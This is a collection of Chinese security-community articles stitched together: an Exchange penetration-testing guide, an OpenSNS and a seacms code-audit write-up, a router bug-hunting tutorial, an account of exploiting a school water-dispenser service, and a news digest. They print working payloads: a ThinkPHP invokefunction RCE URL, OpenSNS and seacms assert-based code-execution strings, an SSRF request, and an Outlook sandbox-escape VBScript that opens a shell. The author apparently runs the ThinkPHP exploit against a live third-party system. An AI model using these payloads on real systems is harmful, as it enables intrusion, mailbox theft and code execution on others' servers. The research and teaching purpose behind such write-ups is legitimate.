Name），是Kerberos认证中不可缺少的，每一个启用Kerberos认证的服务都拥有一个SPN，如文件共享服务的SPN为cifs/domain_name，LDAP服务的SPN为ldap/domain_name，在Kerberos认证过程，客户端通过指定SPN让KDC知晓客户端请求访问的是哪个具体服务，并使用该服务对应的服务账号的密钥来对最终票据进行加密。关于Kerberos和SPN的更多信息不在此展开讲，有兴趣的同学可以自行查阅资料。
在活动目录数据库中，每一个计算机对象有一个属性名为servicePrincipalName，该属性的值是一个列表，存储着该计算机启用Kerberos认证的每一个服务名称。安装在Windows域环境中的Exchange服务同样会接入Kerberos认证，因此，Exchange相关的多个服务，应该都可以从该属性中找到对应的SPN。
执行SPN名称查找的工具和方法有很多，这里直接以域内的一台工作机，通过setspn.exe查询获得。
可以看到，exchangeRFR/exchangeAB/exchangeMDB/SMTP/SMTPSvc等，涉及SMTP服务、邮件地址簿服务、客户端访问服务器角色服务等，都是Exchange注册的服务。
再次强调，SPN是启用Kerberos的服务所注册的便于KDC查找的服务名称，这些SPN名称信息被记录在活动目录数据库中，只要服务安装完成，这些SPN名称就已经存在，除非卸载或删除，SPN名称查询与当前服务是否启动没有关系（如Exchange服务器的IMAP/POP等部分服务默认是不启动的，但其SPN名称同样存在）。
除此之外，有时候通过其他一些方法同样可以帮助探测确认Exchange服务，如发现OWA、EWS接口、自动发现服务、DNS域名记录等等，Exchange是一个庞大复杂的组件服务，各种配置信息和公开服务都可以帮助我们进行信息收集。
## **三、Exchange接口与服务利用**
上文提到，Exchange提供了多种客户端邮箱接口和服务接口，对于渗透测试人员而言，这些接口就是踏入Exchange内部的第一道关卡，提供服务的接口需要有效的用户凭证信息，显然，用户名与密码破解是摆在面前的第一个尝试。在企业域环境中，Exchange与域服务集合，域用户账户密码就是Exchange邮箱的账户密码，因此，如果我们通过暴力破解等手段成功获取了邮箱用户密码，在通常情况下也就间接获得了域用户密码。
### **1.利用自动发现服务进行暴力破解**
Autodiscover自动发现服务使用Autodiscover.xml配置文件来对用户进行自动设置，获取该自动配置文件需要用户认证，如访问http://test2k12.fb.com/Autodiscover/Autodiscover.xml文件将提示需要认证，如下为认证通过，将获取到如下的XML文件内容：
利用这个接口，可以对邮箱账号做暴力破解。Ruler提供了对Exchange的自动配置文件接口进行认证的暴力破解，通过配置线程数、间隔时间可以限制破解速度防止多次登陆失败触发告警或账户被封禁。
### **2.Password Spray**
password spray同样是一种破解账户密码的方法，与常规的暴力破解方法不同的是，password
spary针对一批账户进行破解，每次对单个用户账户进行一次或少数次登陆尝试后换用下一个用户进行尝试，如此反复进行并间隔一定时间，以此方法躲避多次暴力破解的检测和账户锁定的风险。
mailsniper提供分别针对OWA接口、EWS接口和ActiveSync接口的password spray。
## **四、取得合法凭证的后渗透阶段**
当渗透测试人员已成功取得某些用户的合法邮箱凭证，或者拿到与邮箱认证相同的域账户凭证，该用户凭证可能是通过暴力破解用户名密码得到的，可能是dump到了用户明文密码或哈希值，或者通过其他途径取得的合法有效凭证，可以帮助渗透测试人员进一步进行后渗透攻击，收集更多的敏感信息、利用合法功能与服务进行扩展。
### **1.滥用Outlook功能getshell**
Outlook是Office办公软件中用于管理电子邮件的专用软件，Exchange邮箱用户使用Outlook进行邮件管理可以体验Exchange专用的各种功能，也是应用非常广泛的办公软件之一。Outlook功能非常强大，其中的一些合法功能由于其特殊性，当攻击者利用一些灵活（而猥琐）的伎俩时往往可达成意想不到的效果。
**规则和通知功能的滥用**
Outlook提供了一项 ”规则和通知“ （Rules and
Alerts）的功能，可以设置邮件接收和发送的策略，分为规则条件和动作，即用户定义当邮件满足某些条件时（如邮件主题包含特定词语），触发一个特定的动作，这个动作可以是对邮件的管理、处置，甚至是启动应用程序。
当攻击者拥有合法邮箱用户凭证的情况下，可以利用该功能在正常用户收到符合某种条件的邮件时执行特定的命令，例如反弹一个shell。该利用方法需要注意：
* 攻击者已拥有有效的邮箱用户凭证；
* 当触发动作为启动应用程序时，只能直接调用可执行程序，如启动一个exe程序，但无法为应用程序传递参数，即无法利用powershell执行一句话代码进行反弹shell（因为只能执行powershell.exe而无法传递后面的命令行参数）；
* 用户需要在开启Outlook的情况下触发规则条件才有效，在未使用Outlook的情况下无法触发动作；但是，用户通过其他客户端（如OWA）接收浏览了该邮件，而后打开了Outlook，仍然可以触发该动作发生（只要这封邮件没有在打开Outlook之前删除）；
* 规则和通知可以通过Outlook进行创建、管理和删除，OWA对规则和通知的操作可用项较少（无法创建 ”启动应用程序“ 的动作）；
手动新建一个规则及其触发动作，当收件主题中包含 ”pwn“ 时，启动计算器程序（calc.exe）。
发送一封邮件主题包含单词 ”pwn“ 的邮件，当用户使用Outlook时，收到该邮件之后，触发规则，弹出计算器。
从上面的尝试可以证明，该功能可以实现根据邮件主题或内容匹配启动指定应用程序，因此，可以作为一个合适的攻击面，在满足一定条件的情况下进行利用。总结一下该攻击需要满足的条件：
* 攻击者需要拥有合法的邮箱用户凭证，且该用户使用Outlook进行邮件管理；
* 攻击者需要通过Outlook登陆用户邮箱，然后为其创建一条合适的规则，将要执行的应用程序要么位于用户使用Outlook的主机上，要么位于主机可访问到的位置（如内网共享文件夹、WebDAV目录下等）；
Ruler也提供了利用上述规则和通知功能，可以通过命令行创建规则、发送邮件触发规则。通过结合Empire、共享文件夹、ruler，对该功能进行利用。
使用Empire启用一个监听器，创建一句话的powershell木马。
将生成的一句话木马通过工具生成一个exe，并把该可执行文件放到内网一台机器的共享目录中。
利用ruler和已拥有的合法邮箱凭证，在目标邮箱账户中创建一条规则，规则触发字符是 ”tcc“，规则触发动作指向共享目录中的可执行文件。
利用ruler发送一封包含 ”tcc“
字符串的主题的邮件，ruler将使用用户自己的邮箱给自己发送一封邮件，从而触发规则（这一步可以在上一步骤中同时完成）。
当用户使用Outlook收发邮件时，将触发规则，并从共享目录中拉取可执行木马文件并执行，该过程没有任何异样。木马执行后shell已经成功回弹。
完事之后删掉规则。
**主页设置功能的滥用**
在Outlook中，提供了一个功能允许用户在使用Outlook的时候设置收件箱界面的主页，可以通过收件箱的属性来设置加载外部URL，渲染收件箱界面。
收件箱主页URL作为收件箱的设置属性，会在客户端Outlook和Exchange服务端之间进行同步，而通过MAPI/HTTP协议与Exchange服务端的交互，可以直接设置该属性。因此，当已拥有合法邮箱凭证的前提下，可以利用该功能，为邮箱用户设置收件箱主页URL属性，将其指向包含恶意代码的页面，当用户在Outlook中浏览刷新收件箱时，将触发加载恶意页面，执行恶意脚本代码，形成远程命令执行。
Outlook收件箱主页指向的URL在Outlook中通过iframe标签加载，其执行wscript或vbscript受沙箱环境限制，无法使用脚本代码创建敏感的恶意对象，即无法直接通过CreateObject(“Wscript.Shell”)的方式执行命令。但是，此处可以通过载入与Outlook视图相关的ActiveX组件，然后获取ViewCtl1对象，通过该对象获取应用程序对象OutlookApplication，该对象即表示整个Outlook应用程序，从而逃出Outlook沙箱的限制，接着，就可以直接通过Outlook应用程序对象调用CreateObject方法，来创建新的应用程序对象Wscript.Shell，执行任意命令。该利用方法详情可参考[链接1](https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/)、[链接2](https://docs.microsoft.com/zh-cn/office/vba/api/Outlook.viewc)、[链接3](https://docs.microsoft.com/zh-cn/office/vba/api/Outlook.Application)。
Set Application = ViewCtl1.OutlookApplication # 取得顶层的Outlook应用程序对象，实现逃逸
Set cmd = Application.CreateObject("Wscript.Shell") # 利用Outlook应用程序对象创建新的对象，执行系统命令
cmd.Run("cmd.exe")
实现该攻击需要的前提条件：
* 攻击者需要拥有合法的邮箱用户凭证，且该用户使用Outlook进行邮件管理；
* 攻击者通过Outlook登陆用户邮箱，为其收件箱属性设置主页URL，指向包含恶意脚本代码的页面；
ruler提供了通过MAPI/HTTP的协议交互，利用合法的邮箱凭证向服务端写入收件箱主页URL属性，当用户使用Outlook并从Exchange服务端同步该设置时，其随后对收件箱的刷新浏览将触发加载恶意网页，并执行恶意代码。
使用empire生成powershell一句话木马，通过Web服务器托管包含该一句话木马的恶意网页。
利用ruler和已有的合法邮箱凭证，在目标邮箱中设置收件箱主页URL，指向Web服务器上的恶意网页。
随后，用户通过Outlook浏览收件箱，empire将接收到反弹shell，该过程Outlook收件箱可能会提示已阻止不安全的ActiveX控件，实际上命令已经执行完成。
完事之后，删除该属性设置，如果不清除该设置，用户随后的多次浏览收件箱都将触发命令执行，造成empire接收多个反弹shell。
### **2.检索邮件内容**
MailSniper可以被用户或管理员用于检索查找自己邮箱和文件夹信息，而攻击者利用该工具，也可以在获得合法邮箱凭证之后，通过检索邮箱文件夹来尝试发现和窃取包含敏感信息的邮件数据。Mailsniper包含两个主要的cmdlet，分别是Invoke-SelfSearch和Invoke-GlobalMailSearch，用于检索邮件中的关键字。
**检索当前用户的Exchange邮箱数据**
# 查找邮件内容中包含pwn字符串的邮件，-Folder参数可以指定要搜索的文件夹，默认是inbox，使用时最好指定要搜索的文件夹名称（或者指定all查找所有文件），因为该工具是外国人写的，Exchange英文版收件箱为Inbox，当Exchange使用中文版时收件箱不为英文名，默认查找inbox文件夹会因找不到该文件而出错
Invoke-SelfSearch -Mailbox [email protected] -Terms *机密* -Folder 收件箱 -ExchangeVersion Exchange2013_SP1
检索用户[email protected]的收件箱中包含关键字 “机密” 的邮件。
**检索所有用户的Exchange邮箱数据**
利用已掌握的Exchange最高权限组成员用户，为普通用户分配ApplicationImpersonation角色，使得该普通用户可以以当前用户身份合法伪装其他邮箱用户，进而获得查询所有邮箱用户邮件的权限。更多关于ApplicationImpersonation
role，可以查看 [链接](https://docs.microsoft.com/en-us/exchange/applicationimpersonation-role-exchange-2013-help)。
# 利用administrator管理员用户为普通用户zhangsan分配ApplicationImpersonation角色，检索所有邮箱用户的邮件中，包括“内部邮件”关键字的内容
Invoke-GlobalMailSearch -ImpersonationAccount zhangsan -ExchHostname test2k12 -AdminUserName fb.com\administrator -ExchangeVersion Exchange2013_SP1 -Term "*内部邮件*" -Folder 收件箱
执行该检索的过程中，利用管理员权限为用户[email protected]分配ApplicationImpersonation角色，然后获取组织中所有邮件地址列表，并通过角色委派通过EWS服务接口逐一检索各个邮箱账户，任务结束后，ApplicationImpersonation角色分配也被删除。
### **3.获取组织内的所有邮箱用户列表**
利用已掌握的合法邮箱凭证，可以利用OWA或者EWS接口查询获取到Exchange组织中所有的邮箱用户的邮件地址，即全局地址列表。
Get-GlobalAddressList -ExchHostname test2k12 -UserName zhangsan -ExchangeVersion Exchange2013_SP1
### **4.查找存在缺陷的用户邮箱权限委派**
邮箱用户可以通过Outlook设置自己邮箱各个文件夹的权限，通过权限设置可以委派给其他用户访问邮箱文件夹的权限，默认情况下存在两条访问规则，分别是默认规则和匿名规则，但其权限等级都为“无”。如果用户通过该属性设置了邮箱文件夹（如收件箱、发件箱等）的委派权限给其他用户，但权限委派过于宽泛时，可能导致攻击者利用有权限的用户，间接获得目标邮箱用户的邮件访问权。如下，用户[email protected]设置了默认所有人对收件箱具有读取的权限。
Invoke-OpenInboxFinder用于查找和发现指定邮箱用户的文件夹是否存在危险的权限委派。
Invoke-OpenInboxFinder -ExchangeVersion Exchange2013_SP1 -ExchHostname test2k12.fb.com -EmailList .\users.txt
当通过Invoke-OpenInboxFinder发现某些邮箱用户存在可读取邮件权限后，可以利用上面提到的Invoke-SelfSearch，检索该邮箱用户是否存在包含敏感词的邮件，使用Invoke-SelfSearch时需要添加-OtherUserMailbox选项参数，该选项表示通过权限委派缺陷检索非当前用户邮箱数据。
## **五、NTLM中继与Exchange**
NTLM Relay，又一个有趣的话题。NTLM是一种基于挑战-响应的认证交互协议，被Windows上的多种应用层协议用于身份认证，如SMB、HTTP、MSSQL等。NTLM中继攻击，是指攻击者在NTLM交互过程中充当中间人的角色，在请求认证的客户端与服务端之间传递交互信息，将客户端提交的Net-NTLM哈希截获并在随后将其重放到认证目标方，以中继重放的中间人攻击实现无需破解用户名密码而获取权限。关于NTLM中继攻击的安全研究及相关工具已有很多，也有各种新玩法层出不穷，有兴趣的可以自行查阅研究，有时间再另作文章讨论。
NTLM中继攻击在SMB、HTTP协议中的应用讨论得比较多，其实质是应用协议通过NTLM认证的方式进行身份验证，因此，利用NTLM进行认证的应用都可能遭受NTLM中继攻击。Exchange服务器提供RPC/HTTP、MAPI/HTTP、EWS等接口，都是基于HTTP构建的上层协议，其登陆方式通过NTLM进行，因此，NTLM中继同样适用与Exchange。
Exchange的NTLM中继攻击由William Martin于Defcon26的演讲中提出并实现了利用工具ExchangeRelayx，可以看
[这里](https://blog.quickbreach.io/one-click-to-owa/)。
ExchangeRelayx由python实现，依赖安装完成并启动后，会启动SMB服务和2个HTTP服务，SMB服务和监听在80端口的HTTP服务用于接收受害者主机发送的认证，监听在8000端口的HTTP服务是一个管理后台，用于管理重放攻击成功的Exchange会话。该工具实现了将获取到的Net-NTLM哈希重放到真实Exchange服务器的EWS接口进行认证，通过EWS获取用户邮箱的邮件信息、附件下载、创建转发规则、查询GAL等。
启动ExchangeRelayx，将管理后台监听在本地8000端口。
随后，攻击者给目标用户发送钓鱼邮件，邮件内容包含一个恶意外链，该链接可以是指向攻击服务器80端口上的Web
Server，或者是指向攻击服务器上的SMB共享，当用户点击该链接时，当前用户的NTLM认证将被发往攻击服务器，攻击服务器取得该Net-NTLM哈希时，将其重放到真实Exchange服务器以访问EWS接口，重放认证通过，管理后台可看到Exchange会话已经上线。
攻击服务器上ExchangeRelayx的SMB服务接收到受害者的NTLM认证，并将其重放进行攻击。
点击Go to Portal，ExchangeRelayx提供了一个类OWA的邮件管理界面，可以查看用户所有邮件和文件夹。
可以查询联系人信息，获取到更多邮箱用户的邮件地址。
可以下载附件，导出地址簿联系人，还可以创建邮件转发规则，将该用户的邮件自动转发到指定邮箱。
可以看到，利用NTLM中继攻击Exchange用户邮箱并不复杂，其原理与NTLM中继应用于其他协议并无不同，ExchangeRelayx这套框架实现了将截获的Net-NTLM哈希重放到真实Exchange服务器的EWS服务接口上，利用该认证凭证成功取得了一个Exchange用户邮箱会话，从而实现了读取用户邮件、查看联系人列表等操作。该攻击方式需要钓鱼邮件的配合，或者配合Responde、Inveigh等工具实施名称查询欺骗来完成。
### **写在最后**
本文篇幅较长，从开篇介绍Exchange相关概念与基础知识，到探测发现Exchange，通过Exchange公开接口与服务展开攻击，在渗透测试取得一定成果时，后渗透阶段我们利用Exchange同样可以做很多事情，最后，简单介绍了NTLM中继应用于Exchange的尝试。
邮件通信是企业正常运转过程中进行沟通交流与信息传递的重要载体，因此，邮件服务涉及的相关基础设施的安全也变得至关重要，攻击者突破网络边界取得权限，其目的之一是窃取关键数据，也正因如此，邮件组件服务成了黑客攻击过程中极受重视的一环。本文讨论了当前应用最为广泛的邮件服务之一Exchange在渗透测试过程中的一些利用姿势，作为近一段时间的研究总结，同时旨在抛砖引玉，希望更多有兴趣的同学一起交流探讨。
### **参考链接**
* <https://docs.microsoft.com/en-us/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019>
* <https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ff381422(v=msdn.10)>
* <https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019>
* <https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/autodiscover-for-exchange>
* <https://github.com/sensepost/ruler>
* <https://silentbreaksecurity.com/malicious-outlook-rules/>
* <https://sensepost.com/blog/2016/mapi-over-http-and-mailrule-pwnage/>
* <https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/>
* <https://github.com/dafthack/MailSniper>
* <https://www.blackhillsinfosec.com/abusing-exchange-mailbox-permissions-mailsniper/>
* <https://www.blackhillsinfosec.com/introducing-mailsniper-a-tool-for-searching-every-users-email-for-sensitive-data/>
* <https://blog.quickbreach.io/one-click-to-owa/>
* <https://github.com/quickbreach/ExchangeRelayX>
* * * | 社区文章 |
# OpenSNS 远程命令执行漏洞
## 漏洞分析
`opensns`是基于`tp3`开发的，仅支持`php5`
漏洞入口在 `weibo/share/sharebox`
通过 get请求提交query参数
这里存在变量覆盖的漏洞。
这里是 两个参数的示例。
跟进 `assign` 方法。
将 $`array` 数组，存进了 `$this->tVar['parse_array']` 中，用于后续模板渲染中，提供对应的参数。
T 函数就是获取模板文件，然后 `display`方法将其渲染呈现。
中间寻找并解析模板的就不看了，直接跟进到最后的php文件的地方。
这里又调用了 W 函数。
继续跟进
这里的A 函数有如下解释。
经过A 函数的处理，最后会去调用`weibo app`下 `widget` 控制层，`ShareWidget`控制器的`fetchshare`操作。
注意此处传入的 `$param` 参数，就是上面模板中传入的参数 `$parse_array`，也就是经过变量解析后的数组。
跟进 D函数
解释是实例化模型类，也就是 `Model` 文件夹下的，`shareModel` 模型，
跟进其`getInfo` 方法
注意这里，`$param` 我们完全可控，
我们是可以 实例化任意模型，并调用其public 方法的，并且可以 传入可控的参数。
寻找可以利用的模型的方法，但只限于一个参数的。
在所有app的模型文件下，全局搜一些危险函数，但都不太能利用，要么是私有的，但公有方法中把参数都写死了。
基本所有的模型类都继承一个基类，
可以在这里找找。
找到两个看起来可以用的，
再去其继承类里找实现，在 `common/schedule/runschedule` 中找到入口。
D 函数，如果提供第一个参数为空的的话，返回的是实例化的基类。
同时又因为此模型类继承基类，可以在其中调用父类的保护方法。
注意提供的参数
`$return = D($method[0])->$method[1]($args, $schedule);`
`$schedule` 是我们传入的 `$param['id']`，`$arg` 是 `$schedule['arg']` 经过 `parse_str`
处理后的数组。
所以此处，并不能用 `returnResult` 方法来处理
`_validationFieldItem` 方法中，
`$val[4]` 可以控制为`function`
`$val[6]` 不传值，`$arg` 就会变成空数组，
然后在下面，
`array_unshift($args, $data[$val[0]]);`
这里 `$data` 是先前经过 `parse_str` 处理后的数组。
`$val[0]` 需要是解析前的变量名。
然后在下面的 `call_user_func_array` 处造成 RCE，由于使用 php5 的环境，直接用 `assert` 去任意代码执行。
## 利用
### rce
#### payload
?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=jiang=phpinfo()%26id[0]=jiang
### SSRF
在 `admin/curlmodel/curl` 模型中，
有可控且可利用的 SSRF利用点。
但苦于此处即使将`$result` 返回，但没有显示位，不过可以ssrf并不依靠显示的其他利用，依然可以行得通。
?s=weibo/share/shareBox&query=app=Admin%26model=Curl%26method=curl%26id=http://127.0.0.1/
## 题外话
### 后台任意文件下载
后台的下载主题的地方，
`$aTheme` 可控，我们可以利用其穿越到任意目录，然后造成任意文件或文件夹下载。
### 后台任意文件上传
同时我们可以上传 zip文件，包里可以包含木马文件，
然后会解压到 Theme 文件夹下。
### 后台任意代码执行
这里他自产自销，都不用我们访问了，直接包含。
这三个点都是比赛时候审出来的，在日志中发现后台没有密码，操，都没继续往下看日志中有payload。后面两个也因为直接封掉了对目录写入的权限导致没法利用。 | 社区文章 |
# 路由器0day漏洞挖掘实战
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
去年7月的时候在公司内部分享过这个议题，说来也将近一年了，懒得现在才发出来。
在2018年的3，4月两个多三个月的时间里，花了比较多的时间去搞一个国产的路由器，挖了一些漏洞后，之后也就没搞了。
也写了个有一点作用的MIPS IDAPYTHON审计辅助脚本
<https://github.com/giantbranch/mipsAudit>
## 基础知识
**简介**
1、路由器基本都是阉割版的linux系统
2、架构以MIPS和ARM为主
3、一般含有telnet服务
4、很多基础命令以busybox的方式实现（如cat，chmod，date，echo，ifconfig，ls，kill等）
比如下面路由器中的busybox
**路由器常见漏洞**
Web漏洞
* XSS
* CSRF
二进制漏洞
* 主要是栈溢出
自带后门
* 磊科路由器后门：私有协议，硬编码密码的后门
**环境及工具**
> Ubuntu虚拟机
> python
> IDA
> Binwalk
> QEMU
> 对应架构的qemu虚拟机
> gdb及静态编译的gdbserver
> Burp，filefox插件
> 。。。。。。
## 固件的提取与解压
**总览**
### 固件提取
1、对智能硬件（路由器）的升级进行抓包，提取url
2、通过烧录器读取拆卸下来的芯片
3、通过mtd的方式
* 查看分区信息
* 一般别人用dd命令来提取，其实用cp和cat也可以
4、通过串口的方式
假如串口可以获得shell，那么可以使用第三种方法
### 固件解压
binwalk -Me XXXXXX.bin
M ，—matryoshka 递归扫描可解压的
e，—extract 提取
解压到的是_XXXXXX.bin.extracted/
## 以某个路由器为例的漏洞挖掘
### Web安全漏洞
审计web源码，发现有些目录（下面的goform）不存在，代码在二进制中实现，故使用黑盒测试
随便试了一下搞了几个XSS
还有自带命令执行的
添加路由处存在命令注入漏洞，这个是找到溢出后顺便发现的
### 二进制漏洞挖掘之静态分析
这个我编写了个IDAPYTHON审计辅助脚本，用处嘛，有一点点吧。。。
开源地址：<https://github.com/giantbranch/mipsAudit>
辅助脚本功能如下：
1、找到危险函数的调用处，并且高亮该行（也可以下断点）
2、给参数赋值处加上注释
3、最后以表格的形式输出函数名，调用地址，参数，还有当前函数的缓冲区大小
详细见下图
针对不确定参数的函数
我们可以点击addr那一列直接到达函数调用处，方便审计
其实跑出来的量还是很大的，我只不过是偶然的机会遇到了刚好又漏洞的。。
我定位到的是下面这里，有strcat和sprintf
向上回溯有个route add的字符串
那应该是添加路由的地方
测试
发现后面goahead的pid都变了，那应该溢出崩溃，重启了
上gdb调试确认溢出
那么漏洞成因就是：strcat和sprintf的拼接
### 动态调试
1、基于qemu
2、在设备上调试
**qemu**
qemu有两种运作模式
用户模式（User mode），启动不同架构的Linux程序
系统模式（System mode），模拟整个电脑系统（这个暂时还没能够实现动态调试）
注：有些程序比较依赖于特定的函数（比如nvram系列函数）就很难用qemu启动了
将对应的qemu程序及其依赖库拷贝到对应目录，使用静态的就没这烦恼了
启动一个mipsel的程序
sudo chroot ./ ./qemu-mipsel ./bin/busybox
调试只要加-g参数即可（下面会监听23946端口）
sudo chroot ./ ./qemu-mipsel -g 23946 ./bin/busybox
ida 使用remote gdb debuger即可
### 在设备上调试
条件
1、有shell权限
2、有静态编译的gdbserver或者gdb
## Reference
《揭秘家用路由器0day漏洞挖掘技术》
《IDA Pro权威指南》
《python 灰帽子》
<https://github.com/wangzery/SearchOverflow/blob/master/SearchOverflow.py>
<https://www.hex-rays.com/products/ida/support/idapython_docs/> | 社区文章 |
### 0x01 前言
昨晚睡得比较早，半夜口渴起来喝水时发现桶装水里没水了，才想起学校因引进了某直饮水装置，现在不提供桶装水了。去接直饮水时发现没电根本出不了水.心中无数头草泥马奔腾而过...
撸它！
### 0x02 过程
**app抓包小技巧** ：
该系统部署在微信公众号上，直接代理抓包肯定是不得行的，这里推荐一个很好用的APP抓包组合，解决该问题。
`Surge Mac + IOS`:
配置允许外部设备连接
MAC端配置：
mac端运行后点击=\=>控制台=\=>文件=\=>连接到其他设备==>使用USB线缆连接到`Surge IOS`，填好IOS端设置的端口和连接密码即可。
效果：
抓微信公众号屡试不爽。
**ThinkPHP RCE**
将抓到的流量复制到bp里重放：
看到外部参数日常试试有没有注入：
发现报错，这界面很眼熟。仔细一看：
`ThinkPHP 5.0.14`，大有搞头！
上漏洞刚爆出RCE时复现记录的exp:
http://127.0.0.1/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
404，删除`public`目录文件存在但是方法不存在。
仔细想想`5.X`默认的应用入口文件就是`/public/index.php`，这个文件是肯定存在的，上面直接访问不存在应该是开发修改了根目录的指向，那么加载的控制器也就不在原目录了：
没有意外。
查看`.htaccess`文件，配置如猜测的一样。
**越权给别人支付订单**
测试发现`deviceid`字段为饮水机编号，`deviceno`字段为绑定者的编号，`oaoriginalid`字段为公众号id。可以将自己寝室的饮水机越权添加到别人的账号里去，也可以将别人的ID添加到自己的账号历来，然后...越权给别人支付订单。
不过危害还是有的，比如把所有设备都添加到自己的账号里面来，让别人无法充值，然后...集体停水？
**XSS**
### 0x03 总结
看完微信公众号看了下官网，可以注入...从合作伙伴里面看，可能部分师傅所在的高校也在用这个饮水装置，安全堪忧啊，命重要，提交漏洞先... | 社区文章 |
# seacms v6.61 审计深入思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 前几天跟了一下有关cve-2018-14421，seacms最新版后台getshell，发现整个漏洞利用的核心，是绕过了一个黑名单过滤，后续发现很多地方都使用了这个函数，又发现了一条可以利用的攻击链，这里简单分析一下。
## 核心过滤代码
有关cve-2018-14421的具体分析可以看我之前在安全客发的文章，[文章地址](https://www.anquanke.com/post/id/152764).
其实这个cve的核心就是绕过了在`/include/main.class.php`里面的`parseif`函数，这段代码原来的作用是在渲染模板的时候，处理一些简单的if逻辑，但是过滤却没有写好，导致了只要有任何一个在模板中的变量可控，就可以导致任意代码执行。
foreach($iar as $v){
$iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
## 在原来的利用场景寻找可控的模板变量
在原来的输出点，将所有的模板变量打印出来以后，可以看到所有需要渲染的模板变量。
然后就可以参照变量的输入过滤流程，来一步步分析，但是经过简单的分析，除了上个cve使用的pic变量，其余的变量都不可控，所以这个页面的利用链失败。
## 寻找新的利用点
首先全局搜索了一下调用了parseif这个函数的位置，在找有关的模板变量。
进过一番查找，我们发现了`video/index.php`这个文件。
还是一样，先将所有的模板变量全都打印出来，方便我们查找。
然后就依次对每个模板变量进行溯源，但是在直接可控的变量中，并没有发现可以注入代码的地方，因此思路转向了间接注入代码
最后找到了一个关键的模板变量`{playpage:from}`
## 变量追踪
他在`video/index.php`中是这么处理的：
由上图可以看出，这个变量间接来自于数据库中的`v_playdata`这个字段的值
然后可以直接去后台添加影片的地方，具体查看这个值是如何被加入数据库的
可以看到这个变量是根据v_playfrom和v_playurl两个变量处理得来的
然后我们具体去查看这两个变量具体是什么
发现是播放来源，这个是个多选列表，于是思路变成添加一个带有恶意代码的播放来源，然后选择这个来源，从而注入恶意代码
来源名称为注入的代码：
{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);die();//}{end if}
其余的参数可以随便写
然后发现并没有过滤，完全可以直接注入恶意代码
然后我们在添加影片的时候，选择这个来源，并且抓包
发现前端进行了过滤，v_playfrom[1]截取了部分内容，我们用payload将其补充完整
{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);die();//}{end if}
## 漏洞利用
先在管理影片页面，查看刚才添加的影片id，然后访问页面
seacms/video/index.php?6-0-0.html&a=assert&b=phpinfo();
（其中的6为影片id）
可以看到代码已经执行，从而完成漏洞利用
## 数据流梳理
## 总结
感觉这种攻击利用链可能还存在，核心函数过滤不好确实会导致很多问题，这也给我们在平时开发敲响了警钟，一些复用很多的关键过滤函数必须要做好。 | 社区文章 |
# 2月12日安全热点 - 黑客利用macOS截图功能来窃取用户隐私
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
美英政府网站被注入矿工，影响范围甚广
<https://www.bleepingcomputer.com/news/security/u-s-and-uk-govt-sites-injected-with-miners-after-popular-script-was-hacked/>
黑客可利用macOS应用程序截图功能来窃取密码，标记，密钥
<https://www.bleepingcomputer.com/news/apple/researcher-uses-macos-app-screenshot-feature-to-steal-passwords-tokens-keys/>
## 技术类
思科NX-OS VDC接管漏洞
<https://medium.com/@gregIT/owning-the-data-centre-cisco-nx-os-vdc-takeover-vulnerability-f53d8ce945b8>
在Snapchat上存储XSS
<https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd>
使用concolic执行静态分析恶意软件
<https://int0xcc.svbtle.com/using-concolic-execution-for-static-analysis-of-malware>
教程：恶意软件分析
<https://www.slideshare.net/bartblaze/malware-analysis-threat-intelligence-and-reverse-engineering>
From APK to Golden Ticket
<https://docs.google.com/document/d/1XWzlOOuoTE7DUK60qTk1Wz1VNhbPaHqKEzyxPfyW4GQ/edit#heading=h.2m380ikv89me>
警惕GLOBEIMPOSTER勒索软件
<https://www.secpulse.com/archives/68257.html>
使用hashcat强化Linux全盘加密（LUKS）
<https://blog.pnb.io/2018/02/bruteforcing-linux-full-disk-encryption.html>
使用图像链接的UNC路径注入
<https://www.secpulse.com/archives/68334.html>
macOS内核漏洞
<https://www.exploit-db.com/exploits/44007/>
bug bounty program
<http://10degres.net/the-bugbounty-program-that-changed-my-life/>
Nessus插件的武器化
<https://depthsecurity.com/blog/weaponization-of-nessus-plugins>
易受攻击的ARM二进制文件集合
<https://github.com/Billy-Ellis/Exploit-Challenges>
BLEAH – 一种用于“智能”设备的BLE扫描仪
<https://www.kitploit.com/2018/02/bleah-ble-scanner-for-smart-devices.html>
Winpayloads – 不可检测的Windows Payload生成工具
<https://www.kitploit.com/2017/07/winpayloads-undetectable-windows.html>
StaCoAn——一个在移动应用上执行静态代码分析的跨平台工具
<https://github.com/vincentcox/StaCoAn>
Windows转储文件解密工具
<https://github.com/AlessandroZ/LaZagneForensic> | 社区文章 |
首先给大家道个歉，由于最近我们在完善一些不可描述的底层技术，所以大家期待已久的指纹批量查询功能一直处于耽搁状态。
虽然指纹识别接口一直都是开放申请，可以自行开发脚本，实现批量。但是某些同学仍然表示：“还是不够方便，因为我不会代码，我想要一个粘贴一批域名，直接就能出结果，还能给我整理成表格的那种。”
那么这个功能，已经上线，目前所有注册会员现在都可以试用体验了。
### 体验地址：
* 云悉平台个人中心 -> “我的任务”
### 批量指纹查询简介
指纹提交单次最多提交500条域名，“快速”可快速检测常见cms，“全部”结果更完整。
提交任务后，可即时看到任务进展：
#### 任务详情：
还可以点击右侧下载按钮，导出明细：
是不是还少了点什么？
